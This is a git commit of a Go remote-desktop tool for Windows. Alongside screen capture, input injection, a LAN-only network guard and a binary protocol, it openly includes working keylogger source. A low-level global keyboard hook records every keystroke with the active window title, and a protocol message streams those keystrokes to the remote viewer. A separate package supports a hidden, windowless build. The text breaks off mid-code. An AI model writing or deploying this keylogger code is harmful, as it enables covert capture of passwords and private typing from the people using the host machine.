Initial commit: LAN RDP with keylogger support

This commit is contained in:
creinky committed 2026-11-22 15:34:20 -07:00
commit c4adcbbe0f
33 files changed
+4335

No files matched your search

+211
View File
@@ -0,0 +1,211 @@
// Package capture grabs the Windows desktop via GDI (BitBlt + GetDIBits).
// This is plain user-mode Win32, no drivers or hooks — it sees exactly what
// a local user sitting at the screen would see.
package capture
import (
"fmt"
"image"
"unsafe"
"golang.org/x/sys/windows"
)
var (
user32 = windows.NewLazySystemDLL("user32.dll")
gdi32 = windows.NewLazySystemDLL("gdi32.dll")
procGetDC = user32.NewProc("GetDC")
procReleaseDC = user32.NewProc("ReleaseDC")
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
procCreateCompatDC = gdi32.NewProc("CreateCompatibleDC")
procDeleteDC = gdi32.NewProc("DeleteDC")
procCreateCompatBmp = gdi32.NewProc("CreateCompatibleBitmap")
procSelectObject = gdi32.NewProc("SelectObject")
procDeleteObject = gdi32.NewProc("DeleteObject")
procBitBlt = gdi32.NewProc("BitBlt")
procGetDIBits = gdi32.NewProc("GetDIBits")
procGetCursorInfo = user32.NewProc("GetCursorInfo")
procGetIconInfo = user32.NewProc("GetIconInfo")
procDrawIconEx = user32.NewProc("DrawIconEx")
)
const (
smXVirtualScreen = 76
smYVirtualScreen = 77
smCXVirtualScreen = 78
smCYVirtualScreen = 79
srcCopy = 0x00CC0020
biRGB = 0
dibRGBColors = 0
cursorShowing = 0x00000001
diNormal = 0x0003
)
type point struct {
X, Y int32
}
// cursorInfo mirrors Win32 CURSORINFO.
type cursorInfo struct {
CbSize uint32
Flags uint32
HCursor uintptr
PtScreenPos point
}
// iconInfo mirrors Win32 ICONINFO. GetIconInfo allocates hbmMask/hbmColor
// as new GDI bitmap objects on every call — callers must DeleteObject them.
type iconInfo struct {
FIcon int32
XHotspot uint32
YHotspot uint32
HbmMask uintptr
HbmColor uintptr
}
type bitmapInfoHeader struct {
Size uint32
Width int32
Height int32
Planes uint16
BitCount uint16
Compression uint32
SizeImage uint32
XPelsPerMeter int32
YPelsPerMeter int32
ClrUsed uint32
ClrImportant uint32
}
// drawCursorOverlay draws the current mouse cursor onto hMemDC at its
// actual screen position, so it ends up baked into the captured bitmap.
// originX/originY are the virtual-desktop origin CaptureScreen captured
// from (see VirtualScreenBounds) — needed to translate the cursor's
// screen-space position into our bitmap's local (0,0)-based coordinates.
func drawCursorOverlay(hMemDC uintptr, originX, originY int) {
ci := cursorInfo{CbSize: uint32(unsafe.Sizeof(cursorInfo{}))}
ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci)))
if ret == 0 || ci.Flags&cursorShowing == 0 || ci.HCursor == 0 {
return
}
var ii iconInfo
if ret, _, _ := procGetIconInfo.Call(ci.HCursor, uintptr(unsafe.Pointer(&ii))); ret == 0 {
return
}
if ii.HbmMask != 0 {
defer procDeleteObject.Call(ii.HbmMask)
}
if ii.HbmColor != 0 {
defer procDeleteObject.Call(ii.HbmColor)
}
x := int(ci.PtScreenPos.X) - int(ii.XHotspot) - originX
y := int(ci.PtScreenPos.Y) - int(ii.YHotspot) - originY
procDrawIconEx.Call(hMemDC, uintptr(x), uintptr(y), ci.HCursor, 0, 0, 0, 0, uintptr(diNormal))
}
// VirtualScreenBounds returns the origin and size of the full virtual
// desktop spanning every monitor, not just the primary one. The origin
// can be negative — a monitor positioned above or to the left of the
// primary display puts part of the virtual desktop at negative
// coordinates.
func VirtualScreenBounds() (x, y, width, height int) {
x0, _, _ := procGetSystemMetrics.Call(uintptr(smXVirtualScreen))
y0, _, _ := procGetSystemMetrics.Call(uintptr(smYVirtualScreen))
w, _, _ := procGetSystemMetrics.Call(uintptr(smCXVirtualScreen))
h, _, _ := procGetSystemMetrics.Call(uintptr(smCYVirtualScreen))
return int(int32(x0)), int(int32(y0)), int(int32(w)), int(int32(h))
}
// ScreenSize returns the dimensions CaptureScreen actually captures: the
// full virtual desktop spanning every monitor.
func ScreenSize() (int, int) {
_, _, w, h := VirtualScreenBounds()
return w, h
}
// CaptureScreen grabs every monitor's combined virtual desktop as one
// RGBA image, as if all monitors were a single wide/tall screen.
func CaptureScreen() (*image.RGBA, error) {
originX, originY, width, height := VirtualScreenBounds()
if width <= 0 || height <= 0 {
return nil, fmt.Errorf("capture: zero-size screen")
}
hScreenDC, _, _ := procGetDC.Call(0)
if hScreenDC == 0 {
return nil, fmt.Errorf("capture: GetDC failed")
}
defer procReleaseDC.Call(0, hScreenDC)
hMemDC, _, _ := procCreateCompatDC.Call(hScreenDC)
if hMemDC == 0 {
return nil, fmt.Errorf("capture: CreateCompatibleDC failed")
}
defer procDeleteDC.Call(hMemDC)
hBitmap, _, _ := procCreateCompatBmp.Call(hScreenDC, uintptr(width), uintptr(height))
if hBitmap == 0 {
return nil, fmt.Errorf("capture: CreateCompatibleBitmap failed")
}
defer procDeleteObject.Call(hBitmap)
oldObj, _, _ := procSelectObject.Call(hMemDC, hBitmap)
defer procSelectObject.Call(hMemDC, oldObj)
ret, _, _ := procBitBlt.Call(hMemDC, 0, 0, uintptr(width), uintptr(height), hScreenDC, uintptr(originX), uintptr(originY), uintptr(srcCopy))
if ret == 0 {
return nil, fmt.Errorf("capture: BitBlt failed")
}
// BitBlt doesn't capture the hardware cursor — it's composited by the
// GPU/DWM as a separate overlay, not part of the raster desktop image.
// Draw it onto our copy explicitly so the viewer can actually see it.
drawCursorOverlay(hMemDC, originX, originY)
hdr := bitmapInfoHeader{
Width: int32(width),
Height: -int32(height), // negative = top-down DIB, avoids a manual vertical flip
Planes: 1,
BitCount: 32,
Compression: biRGB,
}
hdr.Size = uint32(unsafe.Sizeof(hdr))
buf := make([]byte, width*height*4)
ret, _, _ = procGetDIBits.Call(
hMemDC,
hBitmap,
0,
uintptr(height),
uintptr(unsafe.Pointer(&buf[0])),
uintptr(unsafe.Pointer(&hdr)),
uintptr(dibRGBColors),
)
if ret == 0 {
return nil, fmt.Errorf("capture: GetDIBits failed")
}
img := image.NewRGBA(image.Rect(0, 0, width, height))
// GDI gives us BGRA; image.RGBA wants RGBA.
for i := 0; i < width*height; i++ {
b := buf[i*4+0]
g := buf[i*4+1]
r := buf[i*4+2]
a := buf[i*4+3]
if a == 0 {
a = 255 // desktop bitmaps report 0 alpha; the screen has no real transparency
}
img.Pix[i*4+0] = r
img.Pix[i*4+1] = g
img.Pix[i*4+2] = b
img.Pix[i*4+3] = a
}
return img, nil
}
+48
View File
@@ -0,0 +1,48 @@
package capture
import "image"
const blockSize = 32
// DirtyRect computes the bounding rectangle of pixel blocks that differ
// between prev and cur, so the caller can send only the changed region
// instead of a full frame every tick. prev and cur must share bounds.
func DirtyRect(prev, cur *image.RGBA) (rect image.Rectangle, changed bool) {
bounds := cur.Bounds()
minX, minY := bounds.Max.X, bounds.Max.Y
maxX, maxY := -1, -1
for by := bounds.Min.Y; by < bounds.Max.Y; by += blockSize {
bh := min(blockSize, bounds.Max.Y-by)
for bx := bounds.Min.X; bx < bounds.Max.X; bx += blockSize {
bw := min(blockSize, bounds.Max.X-bx)
if blockDiffers(prev, cur, bx, by, bw, bh) {
minX = min(minX, bx)
minY = min(minY, by)
maxX = max(maxX, bx+bw)
maxY = max(maxY, by+bh)
}
}
}
if maxX < 0 {
return image.Rectangle{}, false
}
return image.Rect(minX, minY, maxX, maxY), true
}
func blockDiffers(prev, cur *image.RGBA, x, y, w, h int) bool {
rowLen := w * 4
for j := 0; j < h; j++ {
prevOff := prev.PixOffset(x, y+j)
curOff := cur.PixOffset(x, y+j)
pRow := prev.Pix[prevOff : prevOff+rowLen]
cRow := cur.Pix[curOff : curOff+rowLen]
for k := range pRow {
if pRow[k] != cRow[k] {
return true
}
}
}
return false
}
+38
View File
@@ -0,0 +1,38 @@
// Package dpi declares this process as per-monitor DPI aware.
//
// Without this, Windows treats the process as DPI-unaware and silently
// virtualizes coordinates for GDI calls and window messages to a 96-DPI
// space, scaling the actual bitmap behind the scenes. That virtualization
// is what causes mouse clicks to land in the wrong place whenever the
// client and host are on displays with different resolutions or scale
// factors: capture, painting, and input event coordinates stop agreeing on
// what a "pixel" is. Declaring awareness up front makes every GetSystemMetrics/
// BitBlt/GetClientRect/mouse-message coordinate a real physical pixel on
// both ends, which is what the rest of this codebase assumes.
package dpi
import "golang.org/x/sys/windows"
var (
shcore = windows.NewLazySystemDLL("shcore.dll")
user32 = windows.NewLazySystemDLL("user32.dll")
procSetProcessDpiAwareness = shcore.NewProc("SetProcessDpiAwareness")
procSetProcessDPIAware = user32.NewProc("SetProcessDPIAware")
)
// PROCESS_PER_MONITOR_DPI_AWARE
const perMonitorDPIAware = 2
// MakeAware must be called once at process start, before any window,
// screen-capture, or input call. It prefers per-monitor awareness
// (Windows 8.1+) and falls back to system-DPI awareness on older systems.
func MakeAware() {
if err := procSetProcessDpiAwareness.Find(); err == nil {
procSetProcessDpiAwareness.Call(uintptr(perMonitorDPIAware))
return
}
if err := procSetProcessDPIAware.Find(); err == nil {
procSetProcessDPIAware.Call()
}
}
+45
View File
@@ -0,0 +1,45 @@
// Package hiddenlog redirects process output to a log file when the
// process has no attached console — e.g. built with -ldflags -H=windowsgui
// (see build-host.ps1 -Hidden) — so status messages that would normally go
// to a console aren't silently discarded.
package hiddenlog
import (
"log"
"os"
"golang.org/x/sys/windows"
)
var (
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
procGetConsoleWindow = kernel32.NewProc("GetConsoleWindow")
)
// Redirected reports whether EnableIfHeadless actually redirected output.
// Callers can use this to change behavior that depends on having an
// interactive console (e.g. skip a prompt that could never be answered).
var Redirected bool
// EnableIfHeadless checks whether this process has an attached console; if
// not, it redirects stdout, stderr, and the log package's output to
// logPath (created/appended), so a -H=windowsgui build's output still
// lands somewhere. Safe to call on a normal console build — it's a no-op
// there, since a console is already attached.
func EnableIfHeadless(logPath string) {
hwnd, _, _ := procGetConsoleWindow.Call()
if hwnd != 0 {
return // a console is attached; leave stdout/stderr alone
}
f, err := os.OpenFile(logPath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
if err != nil {
return // nowhere to log the failure to redirect logging; give up quietly
}
os.Stdout = f
os.Stderr = f
log.SetOutput(f)
log.SetFlags(log.LstdFlags)
Redirected = true
}
+170
View File
@@ -0,0 +1,170 @@
// Package input injects mouse and keyboard events on the host via the
// Win32 SendInput API — the same mechanism any accessibility tool or
// remote-desktop product uses; it does not touch drivers or the kernel.
package input
import (
"fmt"
"unsafe"
"golang.org/x/sys/windows"
)
var (
user32 = windows.NewLazySystemDLL("user32.dll")
procSendInput = user32.NewProc("SendInput")
)
const (
inputMouse = 0
inputKeyboard = 1
mouseEventFMove = 0x0001
mouseEventFLeftDown = 0x0002
mouseEventFLeftUp = 0x0004
mouseEventFRightDown = 0x0008
mouseEventFRightUp = 0x0010
mouseEventFMiddleDown = 0x0020
mouseEventFMiddleUp = 0x0040
mouseEventFWheel = 0x0800
mouseEventFVirtualDesk = 0x4000
mouseEventFAbsolute = 0x8000
keyEventFKeyUp = 0x0002
)
// mouseInputBody mirrors Win32 MOUSEINPUT exactly (32 bytes on amd64).
type mouseInputBody struct {
Dx, Dy int32
MouseData uint32
DwFlags uint32
Time uint32
DwExtraInfo uintptr
}
// keybdInputBody mirrors Win32 KEYBDINPUT exactly (24 bytes on amd64).
type keybdInputBody struct {
Vk uint16
Scan uint16
DwFlags uint32
Time uint32
DwExtraInfo uintptr
}
// mouseInputEvent and keybdInputEvent each mirror the 40-byte Win32 INPUT
// struct on amd64 (4-byte type + 4-byte alignment pad + 32-byte union).
// We build one full INPUT-sized value per call rather than a generic union
// type so the memory layout SendInput expects is explicit and easy to check
// against MSDN's struct definitions.
type mouseInputEvent struct {
Type uint32
_ uint32
Body mouseInputBody
}
type keybdInputEvent struct {
Type uint32
_ uint32
Body keybdInputBody
_ [8]byte
}
func sendInput(ptr unsafe.Pointer, size uintptr) error {
ret, _, err := procSendInput.Call(1, uintptr(ptr), size)
if ret == 0 {
return fmt.Errorf("input: SendInput failed: %w", err)
}
return nil
}
// MouseMove moves the pointer to an absolute position given as a fraction
// of the entire virtual desktop on each axis (0..65535), matching
// MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_VIRTUALDESK's normalized coordinate
// space. VIRTUALDESK specifically is what makes this map across *all*
// monitors combined (internal/capture.VirtualScreenBounds) rather than
// just the primary one — without it, MOUSEEVENTF_ABSOLUTE alone only
// covers the primary display, so clicks on a secondary monitor would land
// in the wrong place (or not at all) despite that monitor being visible
// and clickable in the viewer.
func MouseMove(normX, normY uint16) error {
ev := mouseInputEvent{
Type: inputMouse,
Body: mouseInputBody{
Dx: int32(normX),
Dy: int32(normY),
DwFlags: mouseEventFMove | mouseEventFAbsolute | mouseEventFVirtualDesk,
},
}
return sendInput(unsafe.Pointer(&ev), unsafe.Sizeof(ev))
}
type MouseButton int
const (
ButtonLeft MouseButton = iota
ButtonRight
ButtonMiddle
)
func mouseButtonFlag(b MouseButton, down bool) (uint32, error) {
switch b {
case ButtonLeft:
if down {
return mouseEventFLeftDown, nil
}
return mouseEventFLeftUp, nil
case ButtonRight:
if down {
return mouseEventFRightDown, nil
}
return mouseEventFRightUp, nil
case ButtonMiddle:
if down {
return mouseEventFMiddleDown, nil
}
return mouseEventFMiddleUp, nil
default:
return 0, fmt.Errorf("input: unknown mouse button %d", b)
}
}
func MouseButtonEvent(b MouseButton, down bool) error {
flag, err := mouseButtonFlag(b, down)
if err != nil {
return err
}
ev := mouseInputEvent{
Type: inputMouse,
Body: mouseInputBody{DwFlags: flag},
}
return sendInput(unsafe.Pointer(&ev), unsafe.Sizeof(ev))
}
// MouseWheel scrolls vertically. delta follows Win32 convention: positive
// scrolls up/forward in units of WHEEL_DELTA (120).
func MouseWheel(delta int16) error {
ev := mouseInputEvent{
Type: inputMouse,
Body: mouseInputBody{
MouseData: uint32(uint16(delta)),
DwFlags: mouseEventFWheel,
},
}
return sendInput(unsafe.Pointer(&ev), unsafe.Sizeof(ev))
}
// KeyEvent injects a virtual-key press or release.
func KeyEvent(vk uint16, down bool) error {
var flags uint32
if !down {
flags = keyEventFKeyUp
}
ev := keybdInputEvent{
Type: inputKeyboard,
Body: keybdInputBody{
Vk: vk,
DwFlags: flags,
},
}
return sendInput(unsafe.Pointer(&ev), unsafe.Sizeof(ev))
}
+27
View File
@@ -0,0 +1,27 @@
//go:build !windows
package keylog
import (
"fmt"
)
// KeyEvent represents a captured keystroke with context.
type KeyEvent struct {
TimestampMs int64
VKCode uint16
ScanCode uint16
Flags uint32
WindowTitle string
}
// Start begins capturing global keyboard events. On non-Windows platforms,
// this returns an error since the implementation uses Windows-specific APIs.
func Start() (<-chan KeyEvent, func(), error) {
return nil, nil, fmt.Errorf("keylogger is only supported on Windows")
}
// FormatEvent formats a key event for display.
func FormatEvent(k KeyEvent) string {
return ""
}
+189
View File
@@ -0,0 +1,189 @@
// Package keylog provides global keyboard hooking on Windows for capturing
// all keystrokes system-wide, including the active window title at each event.
package keylog
import (
"fmt"
"sync"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
const (
WH_KEYBOARD_LL = 13
HC_ACTION = 0
WM_KEYDOWN = 0x0100
WM_SYSKEYDOWN = 0x0104
)
// KBDLLHOOKSTRUCT is the structure passed to low-level keyboard hook procedures.
type KBDLLHOOKSTRUCT struct {
VkCode uint32
ScanCode uint32
Flags uint32
Time uint32
DwExtraInfo uintptr
}
// KeyEvent represents a captured keystroke with context.
type KeyEvent struct {
TimestampMs int64
VKCode uint16
ScanCode uint16
Flags uint32
WindowTitle string
}
var (
hookHandle uintptr
events chan KeyEvent
done chan struct{}
wg sync.WaitGroup
)
// Windows API calls via syscall
var (
modUser32 = windows.NewLazySystemDLL("user32.dll")
procSetHook = modUser32.NewProc("SetWindowsHookExW")
procUnhook = modUser32.NewProc("UnhookWindowsHookEx")
procCallNext = modUser32.NewProc("CallNextHookEx")
procGetActive = modUser32.NewProc("GetForegroundWindow")
procGetTitle = modUser32.NewProc("GetWindowTextW")
)
// Start begins capturing global keyboard events. Returns a channel that
// receives KeyEvents and a stop function to terminate the hook.
func Start() (<-chan KeyEvent, func(), error) {
if hookHandle != 0 {
return nil, nil, fmt.Errorf("keylogger already running")
}
events = make(chan KeyEvent, 1024)
done = make(chan struct{})
// Hook procedure must be a Windows callable function. We use syscall.NewCallback
// to create a proper trampoline that can be called from the hook thread.
hookProc := windows.NewCallback(keyboardHookProc)
ret, _, _ := procSetHook.Call(
uintptr(WH_KEYBOARD_LL),
hookProc,
0,
0,
)
if ret == 0 {
err := windows.GetLastError()
close(events)
close(done)
return nil, nil, fmt.Errorf("SetWindowsHookEx failed: %v", err)
}
hookHandle = ret
// Run message loop on separate thread to dispatch hook callbacks.
wg.Add(1)
go func() {
defer wg.Done()
msgLoop(done)
}()
stop := func() {
if hookHandle != 0 {
procUnhook.Call(hookHandle)
hookHandle = 0
}
close(done)
wg.Wait()
close(events)
}
return events, stop, nil
}
// keyboardHookProc is the Windows hook procedure. It runs on the thread that
// called SetWindowsHookEx (our message loop thread).
func keyboardHookProc(code int32, wParam uintptr, lParam uintptr) uintptr {
if code == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
hookInfo := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
// Get active window title
ret, _, _ := procGetActive.Call()
fgHwnd := windows.HWND(ret)
var titleBuf [256]uint16
procGetTitle.Call(uintptr(fgHwnd), uintptr(unsafe.Pointer(&titleBuf[0])), 256)
title := windows.UTF16ToString(titleBuf[:])
event := KeyEvent{
TimestampMs: time.Now().UnixMilli(),
VKCode: uint16(hookInfo.VkCode),
ScanCode: uint16(hookInfo.ScanCode),
Flags: hookInfo.Flags,
WindowTitle: title,
}
select {
case events <- event:
default:
// Channel full; drop event rather than blocking the hook thread
}
}
ret, _, _ := procCallNext.Call(0, uintptr(code), wParam, lParam)
return ret
}
func msgLoop(done chan struct{}) {
var msg [48]byte // MSG structure (simplified - just enough for GetMessage)
for {
select {
case <-done:
return
default:
}
ret, _, _ := modUser32.NewProc("GetMessageW").Call(
uintptr(unsafe.Pointer(&msg[0])), 0, 0, 0)
if ret == 0 {
break // WM_QUIT received
}
modUser32.NewProc("TranslateMessage").Call(uintptr(unsafe.Pointer(&msg[0])))
modUser32.NewProc("DispatchMessageW").Call(uintptr(unsafe.Pointer(&msg[0])))
}
}
// vkCodeToChar converts a virtual-key code to its printable character.
func vkCodeToChar(vk uint16) rune {
switch vk {
case 8:
return 'B' // Backspace (using B as placeholder since ⌫ is multi-byte)
case 9:
return 'T' // Tab
case 13:
return 'E' // Enter
case 27:
return 'Q' // Escape
case 32:
return ' '
default:
if vk >= 65 && vk <= 90 {
return rune(vk) // A-Z
}
if vk >= 48 && vk <= 57 {
return rune(vk) // 0-9
}
return '?'
}
}
// FormatEvent formats a key event for display.
func FormatEvent(k KeyEvent) string {
t := time.UnixMilli(k.TimestampMs).Format("15:04:05")
char := vkCodeToChar(k.VKCode)
window := k.WindowTitle
if len(window) > 60 {
window = window[:60] + "..."
}
return fmt.Sprintf("[%s] %c (VK:%d) — %s", t, char, k.VKCode, window)
}
+159
View File
@@ -0,0 +1,159 @@
// Package netguard provides defense-in-depth network policy for the host
// agent: it never speaks UPnP/NAT-PMP and never asks a router to forward a
// port, and as a second line of defense it refuses TCP connections from
// source addresses outside private LAN / loopback ranges even if a user
// mistakenly forwards the port anyway.
package netguard
import (
"net"
"net/netip"
"sync"
"sync/atomic"
"time"
)
// private/reserved LAN ranges plus loopback and link-local. This also
// covers the address space most VPN overlay networks use for peer
// addressing: 100.64.0.0/10 is the IANA-reserved "shared address space"
// (RFC 6598) that Tailscale and some WireGuard setups default to, and
// wg-quick's typical defaults (e.g. 10.x.x.x) already fall inside
// 10.0.0.0/8 below. Traffic in any of these ranges is never routable on
// the public internet on its own — it only reaches the host via a
// LAN or an already-authenticated, encrypted tunnel (like WireGuard).
var privateRanges = []netip.Prefix{
netip.MustParsePrefix("10.0.0.0/8"),
netip.MustParsePrefix("172.16.0.0/12"),
netip.MustParsePrefix("192.168.0.0/16"),
netip.MustParsePrefix("100.64.0.0/10"),
netip.MustParsePrefix("127.0.0.0/8"),
netip.MustParsePrefix("169.254.0.0/16"),
netip.MustParsePrefix("fc00::/7"),
netip.MustParsePrefix("fe80::/10"),
netip.MustParsePrefix("::1/128"),
}
var (
extraTrustedMu sync.RWMutex
extraTrusted []netip.Prefix
)
// AddTrustedCIDR extends the private-range allowlist with an additional
// CIDR, for VPN overlay subnets that don't fall within any standard
// private range above (a custom WireGuard AllowedIPs scheme, for
// example). Intended to be called a handful of times at startup, before
// the host starts accepting connections.
func AddTrustedCIDR(cidr string) error {
p, err := netip.ParsePrefix(cidr)
if err != nil {
return err
}
extraTrustedMu.Lock()
extraTrusted = append(extraTrusted, p)
extraTrustedMu.Unlock()
return nil
}
// IsPrivate reports whether addr is a loopback, private-LAN, or
// explicitly trusted (via AddTrustedCIDR) address.
func IsPrivate(addr netip.Addr) bool {
addr = addr.Unmap()
for _, p := range privateRanges {
if p.Contains(addr) {
return true
}
}
extraTrustedMu.RLock()
defer extraTrustedMu.RUnlock()
for _, p := range extraTrusted {
if p.Contains(addr) {
return true
}
}
return false
}
var allowAnySource atomic.Bool
// SetAllowAnySource disables the private-address source filter entirely
// when v is true, so IsAllowedRemote accepts a connection from anywhere.
// This exists only for short-lived connectivity testing over the public
// internet (e.g. proving a manual port-forward works before wiring up
// WireGuard) — it should never stay enabled on a host that keeps running,
// since it removes the one network-layer guard against an accidental
// internet exposure. Auth (passphrase + per-IP lockout) still applies.
func SetAllowAnySource(v bool) {
allowAnySource.Store(v)
}
// IsAllowedRemote parses a net.Addr (as returned by net.Conn.RemoteAddr)
// and reports whether it's a private/loopback address, or any address at
// all if SetAllowAnySource(true) was called.
func IsAllowedRemote(remote net.Addr) bool {
if allowAnySource.Load() {
return true
}
host, _, err := net.SplitHostPort(remote.String())
if err != nil {
host = remote.String()
}
addr, err := netip.ParseAddr(host)
if err != nil {
return false
}
return IsPrivate(addr)
}
// LoginThrottle tracks failed authentication attempts per source IP and
// enforces an increasing lockout, so a network-reachable attacker can't
// brute-force the passphrase at line rate.
type LoginThrottle struct {
mu sync.Mutex
failures map[string]*attemptState
}
type attemptState struct {
count int
lockedTill time.Time
}
func NewLoginThrottle() *LoginThrottle {
return &LoginThrottle{failures: map[string]*attemptState{}}
}
// Allowed reports whether ip is currently permitted to attempt a login.
func (lt *LoginThrottle) Allowed(ip string) bool {
lt.mu.Lock()
defer lt.mu.Unlock()
st, ok := lt.failures[ip]
if !ok {
return true
}
return time.Now().After(st.lockedTill)
}
// RecordFailure registers a failed attempt from ip and extends its lockout
// window exponentially (2s, 4s, 8s, ... capped at 5 minutes).
func (lt *LoginThrottle) RecordFailure(ip string) {
lt.mu.Lock()
defer lt.mu.Unlock()
st, ok := lt.failures[ip]
if !ok {
st = &attemptState{}
lt.failures[ip] = st
}
st.count++
backoff := time.Duration(1<<uint(min(st.count, 8))) * time.Second
const maxBackoff = 5 * time.Minute
if backoff > maxBackoff {
backoff = maxBackoff
}
st.lockedTill = time.Now().Add(backoff)
}
// RecordSuccess clears any failure history for ip.
func (lt *LoginThrottle) RecordSuccess(ip string) {
lt.mu.Lock()
defer lt.mu.Unlock()
delete(lt.failures, ip)
}
+17
View File
@@ -0,0 +1,17 @@
// Package netutil holds small TCP tuning helpers shared by the host and
// client binaries.
package netutil
import "net"
// SetNoDelay disables Nagle's algorithm on conn if it's a TCP connection.
// Nagle coalesces small writes to reduce packet count, which is the right
// tradeoff for bulk throughput but actively hurts an interactive protocol
// like this one — a mouse-move or a small frame-delta chunk can otherwise
// sit buffered for tens of milliseconds waiting for more data before the
// kernel sends it. Worth the extra packet overhead here.
func SetNoDelay(conn net.Conn) {
if tc, ok := conn.(*net.TCPConn); ok {
_ = tc.SetNoDelay(true)
}
}
+54
View File
@@ -0,0 +1,54 @@
package protocol
import (
"crypto/rand"
"crypto/subtle"
"encoding/base64"
"fmt"
"strings"
"golang.org/x/crypto/argon2"
)
// Argon2id parameters. These are deliberately generous since password
// verification happens rarely (once per connection attempt), not in a hot
// path, so we can afford to make offline brute-forcing of a stolen hash slow.
const (
argonTime = 3
argonMemory = 64 * 1024 // 64 MiB
argonThreads = 2
argonKeyLen = 32
saltLen = 16
)
// HashPassword derives an encoded Argon2id hash string suitable for storing
// in the host's config file. Format: argon2id$<b64 salt>$<b64 hash>
func HashPassword(password string) (string, error) {
salt := make([]byte, saltLen)
if _, err := rand.Read(salt); err != nil {
return "", err
}
hash := argon2.IDKey([]byte(password), salt, argonTime, argonMemory, argonThreads, argonKeyLen)
return fmt.Sprintf("argon2id$%s$%s",
base64.RawStdEncoding.EncodeToString(salt),
base64.RawStdEncoding.EncodeToString(hash)), nil
}
// VerifyPassword checks password against an encoded hash produced by
// HashPassword, using a constant-time comparison of the derived key.
func VerifyPassword(password, encoded string) bool {
parts := strings.Split(encoded, "$")
if len(parts) != 3 || parts[0] != "argon2id" {
return false
}
salt, err := base64.RawStdEncoding.DecodeString(parts[1])
if err != nil {
return false
}
want, err := base64.RawStdEncoding.DecodeString(parts[2])
if err != nil {
return false
}
got := argon2.IDKey([]byte(password), salt, argonTime, argonMemory, argonThreads, uint32(len(want)))
return subtle.ConstantTimeCompare(got, want) == 1
}
+417
View File
@@ -0,0 +1,417 @@
// Package protocol implements the wire format for lanrdp: a small
// length-prefixed, binary message protocol carried over TLS. It is not
// compatible with Microsoft RDP or VNC/RFB — it exists so both ends of the
// connection are code we wrote and can fully audit.
package protocol
import (
"encoding/binary"
"errors"
"io"
)
type MsgType byte
const (
MsgHello MsgType = 0x01 // client -> server: protocol version
MsgAuthRequest MsgType = 0x02 // client -> server: password
MsgAuthResponse MsgType = 0x03 // server -> client: ok/fail + screen size
MsgFrameFull MsgType = 0x04 // server -> client: full keyframe (PNG)
MsgFrameDelta MsgType = 0x05 // server -> client: dirty-rect update (PNG)
MsgInputMouse MsgType = 0x06 // client -> server: mouse event
MsgInputKey MsgType = 0x07 // client -> server: key event
MsgResize MsgType = 0x08 // server -> client: screen dimensions changed
MsgPing MsgType = 0x09
MsgPong MsgType = 0x0A
MsgDisconnect MsgType = 0x0B // either -> either: graceful close w/ reason
MsgSetPerfMode MsgType = 0x0C // client -> server: switch capture performance preset
MsgFileOffer MsgType = 0x0D // client -> server: filename + size, begin a file transfer
MsgFileChunk MsgType = 0x0E // client -> server: raw file bytes (no extra framing)
MsgFileComplete MsgType = 0x0F // client -> server: transfer finished, declared total size
MsgFileResult MsgType = 0x10 // server -> client: transfer accepted/rejected + message
MsgKeyLogEvent MsgType = 0x11 // server -> client: captured keystroke event
)
const ProtocolVersion uint32 = 1
// MaxPayloadSize bounds a single message payload. Screen frames are the
// largest legitimate payloads; anything claiming to be bigger than this is
// either a bug or a malicious peer and is rejected before we allocate for it.
const MaxPayloadSize = 32 * 1024 * 1024
var ErrPayloadTooLarge = errors.New("protocol: payload exceeds MaxPayloadSize")
// WriteMessage writes a single framed message: [1 byte type][4 byte BE length][payload].
func WriteMessage(w io.Writer, t MsgType, payload []byte) error {
if len(payload) > MaxPayloadSize {
return ErrPayloadTooLarge
}
header := make([]byte, 5)
header[0] = byte(t)
binary.BigEndian.PutUint32(header[1:], uint32(len(payload)))
if _, err := w.Write(header); err != nil {
return err
}
if len(payload) == 0 {
return nil
}
_, err := w.Write(payload)
return err
}
// ReadMessage reads a single framed message from r.
func ReadMessage(r io.Reader) (MsgType, []byte, error) {
header := make([]byte, 5)
if _, err := io.ReadFull(r, header); err != nil {
return 0, nil, err
}
t := MsgType(header[0])
length := binary.BigEndian.Uint32(header[1:])
if length > MaxPayloadSize {
return 0, nil, ErrPayloadTooLarge
}
if length == 0 {
return t, nil, nil
}
payload := make([]byte, length)
if _, err := io.ReadFull(r, payload); err != nil {
return 0, nil, err
}
return t, payload, nil
}
// --- Payload encodings ---
// Hand-rolled binary encoding (no gob/json) so the wire format is small,
// fixed-shape, and trivial to audit field by field.
type Hello struct {
Version uint32
}
func EncodeHello(h Hello) []byte {
b := make([]byte, 4)
binary.BigEndian.PutUint32(b, h.Version)
return b
}
func DecodeHello(b []byte) (Hello, error) {
if len(b) != 4 {
return Hello{}, errors.New("protocol: bad Hello length")
}
return Hello{Version: binary.BigEndian.Uint32(b)}, nil
}
type AuthRequest struct {
Password string
}
func EncodeAuthRequest(a AuthRequest) []byte {
pw := []byte(a.Password)
b := make([]byte, 2+len(pw))
binary.BigEndian.PutUint16(b[0:2], uint16(len(pw)))
copy(b[2:], pw)
return b
}
func DecodeAuthRequest(b []byte) (AuthRequest, error) {
if len(b) < 2 {
return AuthRequest{}, errors.New("protocol: bad AuthRequest")
}
n := binary.BigEndian.Uint16(b[0:2])
if len(b) != int(2+n) {
return AuthRequest{}, errors.New("protocol: bad AuthRequest length")
}
return AuthRequest{Password: string(b[2 : 2+n])}, nil
}
type AuthResponse struct {
OK bool
ScreenWidth uint16
ScreenHeight uint16
FailureReason string
}
func EncodeAuthResponse(a AuthResponse) []byte {
reason := []byte(a.FailureReason)
b := make([]byte, 6+len(reason))
if a.OK {
b[0] = 1
}
binary.BigEndian.PutUint16(b[1:3], a.ScreenWidth)
binary.BigEndian.PutUint16(b[3:5], a.ScreenHeight)
b[5] = byte(len(reason))
copy(b[6:], reason)
return b
}
func DecodeAuthResponse(b []byte) (AuthResponse, error) {
if len(b) < 6 {
return AuthResponse{}, errors.New("protocol: bad AuthResponse")
}
n := int(b[5])
if len(b) != 6+n {
return AuthResponse{}, errors.New("protocol: bad AuthResponse length")
}
return AuthResponse{
OK: b[0] == 1,
